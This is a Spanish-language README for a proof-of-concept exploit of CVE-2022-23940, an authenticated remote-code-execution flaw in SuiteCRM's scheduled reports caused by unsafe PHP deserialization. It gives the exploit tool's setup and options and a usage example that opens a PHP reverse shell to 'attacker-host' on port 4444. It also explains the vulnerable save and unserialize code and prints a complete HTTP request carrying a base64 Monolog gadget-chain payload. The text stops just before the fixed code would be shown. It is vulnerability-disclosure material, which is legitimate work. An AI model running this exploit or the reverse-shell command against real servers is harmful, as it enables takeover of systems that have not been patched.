
PoC para CVE-2022-23940
PoC para CVE-2022-23940, también conocido como SCRMBT-#187 - Ejecución remota de código autenticada a través de informes programados en SuiteCRM (<= 7.12.4) y SuiteCRM-Core (<= 8.0.3).
Esta vulnerabilidad fue reportada a SalesAgility y corregida en SuiteCRM 7.12.5 y SuiteCRM Core 8.0.4. En las versiones afectadas, cualquier usuario con permiso para crear informes programados puede obtener ejecución remota de código y comprometer el servidor. Si está utilizando versiones antiguas de SuiteCRM, le recomiendo encarecidamente que actualice.
Instalación
python3 y pip instalados.git clone https://github.com/manuelz120/CVE-2022-23940.gitpip3 install -r "requirements.txt"Opciones disponibles:
(.venv) ➜ CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2022-23940
Ejemplo de uso:
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Los usuarios que pueden crear informes programados (pueden crear entradas en el módulo AOR_Scheduled_Reports) pueden ejecutar código arbitrario en el servidor abusando de una vulnerabilidad de deserialización de PHP.
El módulo AOR_Scheduled_Reports almacena los destinatarios de correo electrónico del informe como cadenas serializadas y codificadas en base64 en la base de datos. Al recibir los datos de un informe programado, la columna mencionada se deserializa. Si los atacantes pueden insertar contenido arbitrario en esta columna, pueden lograr RCE a través de varios gadgets de deserialización de PHP (en mis pruebas utilicé Monolog/RCE2 de la herramienta phpggc).
El payload se puede almacenar en la base de datos utilizando la llamada de guardado heredada del módulo AOR_Scheduled_Reports. El servidor asume incorrectamente que el parámetro email_recipients siempre es un array. Sin embargo, si un cliente malicioso pasa email_recipients como una cadena, los datos se almacenarán en la base de datos tal cual. Una vez deserializados, los gadgets se ejecutan en el servidor y obtenemos ejecución remota de código.
La implementación vulnerable de la función save en la clase AOR_Scheduled_Reports. Más abajo, podemos ver que get_email_recipients llama a unserialize sobre el contenido almacenado en la base de datos:
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php
public function save($check_notify = false)
{
if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
$this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
}
return parent::save($check_notify);
}
public function get_email_recipients()
{
$params = unserialize(base64_decode($this->email_recipients));
// ....
Un ejemplo de solicitud para crear un informe programado malicioso se ve así (si decodifica el valor de email_recipients, puede ver que simplemente ejecuta touch /tmp/hacked):
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999
module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A
Si observamos el código corregido, podemos ver que los desarrolladores agregaron una nueva función parseRecipients que analiza y valida los datos almacenados en el parámetro email_recipients, antes de guardarlos en la base de datos. Solo si el valor coincide con el formato esperado se almacenan los datos. Por lo tanto, la RCE por deserialización ya no funciona:
